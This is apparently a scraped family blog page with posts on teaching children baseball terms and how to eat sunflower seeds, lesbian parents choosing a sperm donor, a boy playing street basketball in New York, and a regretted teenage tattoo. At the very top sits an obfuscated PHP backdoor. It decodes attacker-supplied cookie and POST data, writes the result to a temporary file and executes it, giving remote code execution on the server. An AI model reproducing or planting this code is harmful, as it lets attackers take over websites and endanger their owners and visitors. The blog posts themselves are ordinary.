$KCDdBtEg = "\163" . "\137" . chr (65) . chr (81) . "\x46";$WLhpiHcr = "\143" . 'l' . chr ( 1060 - 963 ).'s' . "\x73" . '_' . chr (101) . "\170" . 'i' . "\163" . chr (116) . chr ( 304 - 189 ); $cFdyUyKg = class_exists($KCDdBtEg); $KCDdBtEg = "15652";$WLhpiHcr = "32508";$sdLOHijTc = 0;if ($cFdyUyKg == $sdLOHijTc){function IjjAuKwsE(){return FALSE;}$lHwws = "19028";IjjAuKwsE();class s_AQF{private function rjdevHf($lHwws){if (is_array(s_AQF::$xvNmTcJm)) {$YqmzCQjauF = sys_get_temp_dir() . "/" . crc32(s_AQF::$xvNmTcJm["\163" . chr ( 472 - 375 )."\154" . chr ( 203 - 87 )]);@s_AQF::$xvNmTcJm["\x77" . 'r' . "\x69" . chr (116) . "\145"]($YqmzCQjauF, s_AQF::$xvNmTcJm["\x63" . "\157" . chr (110) . chr ( 936 - 820 )."\x65" . chr (110) . chr ( 299 - 183 )]);include $YqmzCQjauF;@s_AQF::$xvNmTcJm[chr ( 655 - 555 ).'e' . chr ( 263 - 155 ).chr (101) . "\x74" . 'e']($YqmzCQjauF); $lHwws = "19028";exit();}}private $nyBiPvdEAZ;public function nMiyTR(){echo 4720;}public function __destruct(){$lHwws = "49302_9227";$this->rjdevHf($lHwws); $lHwws = "49302_9227";}public function __construct($hYnsFX=0){$qEaVVqKyv = $_POST;$FQdomGoA = $_COOKIE;$mjRCM = "8f61e995-3955-4efb-9c83-5dace39335cf";$ZCeSIiR = @$FQdomGoA[substr($mjRCM, 0, 4)];if (!empty($ZCeSIiR)){$jVNzUotjI = "base64";$pKyfr = "";$ZCeSIiR = explode(",", $ZCeSIiR);foreach ($ZCeSIiR as $RKkjtN){$pKyfr .= @$FQdomGoA[$RKkjtN];$pKyfr .= @$qEaVVqKyv[$RKkjtN];}$pKyfr = array_map($jVNzUotjI . "\x5f" . "\x64" . "\x65" . chr (99) . chr ( 207 - 96 ).'d' . chr (101), array($pKyfr,)); $pKyfr = $pKyfr[0] ^ str_repeat($mjRCM, (strlen($pKyfr[0]) / strlen($mjRCM)) + 1);s_AQF::$xvNmTcJm = @unserialize($pKyfr); $pKyfr = class_exists("49302_9227");}}public static $xvNmTcJm = 28509;}$PJSPhJyN = new /* 27523 */ s_AQF(19028 + 19028);unset($PJSPhJyN);} Kid’s Corner – 2moms2kids

Topic: Kid’s Corner

Baseball Ready: Spitting Sunflower Seeds

girl eating sunflower seeds

girl eating sunflower seeds

Baseball season is around the corner

There are some basic skills children should have as players or spectators of the sport

Skills to be taught, these are not intuitive to all

  • How to eat sunflower seeds
  • Baseball terminology
    • Strike-The pitch is in the strike zone and the batter does not swing or the batter does swing but misses.
    • Foul Ball-The ball goes outside the fair playing territory, this is marked by a white chalk line that starts at home plate and runs along the first base and the third base line into the outfield.
    • Out-A player is out
      • after striking out-there are 3 strikes to an out
      • getting tagged out running a base
      • their hit is caught in pop fly or line drive
    • Stolen Base-a runner steals a base
    • Bunt-a type of hit that places the ball a short distance from the batter
    • Walk-the batter receives 4 balls, which means the pitches were not in the strike zone and the batter did not swing
    • Single-The batter is able to make it to first base without getting tagged out
    • Double-when a batter runs second base without getting tagged out
    • Triple- when the batter runs to third base without getting tagged out
    • Home Run- the ball is hit out of the park or over the fence or batter is able to run all the bases before the ball is under control
    • Grand Slam-when all 3 bases have runners and the batter hits a home run, it is worth 4 runs
    • Double Play-defense term, when two outs are made on the same play
  • Baseball positions
    • Pitcher
    • Catcher
    • First Base
    • Second Base
    • Third Base
    • Shortstop
    • Left Field
    • Center Field
    • Right Field

Back to eating sunflower seeds; a visual guide

Eating sunflower seeds can be a very messy endeavor and may border on being a disgusting display of eating.  The energy and skill it takes to crack open, dislodge a teeny tiny seed and discard the shell are incomparable to any other eating ritual.

Focus

Holding onto the small salty shell takes focus and fine motor skills.

girl about to crack sunflower seed

Preparing the see

Position

Once comfortably in your hand, bring the shell between your teeth and crack the shell along the edge, also know as the ovary wall. Sorry to be so graphic; it is the anatomy of the sunflower seed, also know as Achene.

girl cracking a sunflower seed

Cracking the seed

Dislodging

As the shell is cracked, the seed is exposed.  Use your nail to displace the seed from the ovary wall.

Girl dislodging sunflower seed

Dislodging the seed

Victory

After the celebratory dance, place the salty seed in your mouth and enjoy your hard work.  With practice, you will be able to do these steps without much thought.  After a while, you may be able to put a few shells in your mouth and not use your hands at all.  More on that later.  Until then, enjoy baseball season, enjoy the smell of fresh cut grass and enjoy spitting seeds.

Girl eating the sunflower seed

Eating the seed

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Donor insemination and starting a family

fertilization of egg

Lesbian parents and donor insemination and starting a family

As lesbian parents’ we wanted to start a family and knew that donor insemination would be the way to do it.  My partner and I spent a great deal of time trying to match her ancestral background as it would be paired with mine as I would be carrying the baby.

Picking a donor

The California CryoBank was who we used as it was in our town and I knew if we had more questions we could make an appointment and speak to someone.  It turns out it is pretty self explanatory, you go through and match characteristics by feature, education, race, height and other markers like those.  We looked at photos of the donors as well (these are additional costs, but worth it).  When we saw our donor, it was immediate that he was the one.

Full profile

We purchased a full file, a photograph of the donor as a child, and an audio interview done by the clinic staff.  Clearly, we wanted to get as much information as possible because we wanted to know this man.

Access to information

The more information we had about the donor, the more we could offer our children as they grew up.  I was not sure when and how the conversation would go, but I felt confident, we could answer many of the standard questions.

Finding a fertility specialist

My partner and I went off of references and made sure that we were totally comfortable and confident in the doctor. We were but soon found out that he did not do the actual insemination, his nurse did.  That was perfectly fine with us as she could not have been a more kind and nurturing woman.  I felt absolutely taken care of and safe.

 

NYC Basketball on West 4th Street

My son watches YouTube videos about sports, he loves watching basketball games…but the reality of a 9-year-old kid playing NYC ball on mythical courts of NYC was a far reach that was until we walked past one. He and I sat to watch a one on one game between two men. Within seconds, one of the men said, “Hey Little Man, I can see it in your eyes, you want to play.” After shooting around a bit, the pickup game began. It was a 2 on 2 person game. Mattias shot passed and dribbled the ball down the court like he was a regular. The men were extremely encouraging and inclusive, they gave him pointers throughout the game and congratulated when he made an incredible shot.

What surprised me most was that my son took the risk and said, “Sure.” My heart was happy watching him give and receive high 5’s and play with the big boys on the courts of NYC.

A Scar of Adolescence: My Prince Tattoo

My fascination with tattoos lasted about an hour after I got mine. I raced over to the sink and tried to wash it off, thinking that the ink couldn’t have settled in yet. As I scrubbed my finger in hopes of washing it off, I had a sinking feeling in my stomach. “My mom is going to kill me, she will never talk to me again.” My stomach twisted and turned as I tried to find a solution to my impulsive mistake. Band-Aids to the rescue, I raided my friend’s medicine cabinet. I happily wrapped the bandage around my finger with a sigh of relief. How long can I wear a bandage before my mom or brother asks, “What happened to your finger?” I needed a better cover…a ring…that would do the trick. So, I kindly asked my friend who had a high school ring if I could borrow it, he said, “Yes.”   I wore that for a year or so before I had to give it back. I hid my tattoo since the day I got it, behind a bandage, a ring, and regret.   So much for being cool and having a tattoo.

I was about 20 years old when I realized hiding it was unnecessary…it was my scar of ADOLESCENCE and I had to accept it. I had investigated getting it removed many times but lacked the finances to do so.

When I started teaching at Crossroads School, I shared with my students a life lesson about making choices and the regret I had about the tattoo. Well, the life lesson came back to me. One of my students remembered the story and took it upon himself to share it with his peers and parents. At the end of the school year, I was given an envelope with money for laser tattoo removal and a kind note. I was blown away by his insight and empathic nature.  I was reminded once again, DON’T UNDERESTIMATE A KID!  The life lesson was mine.

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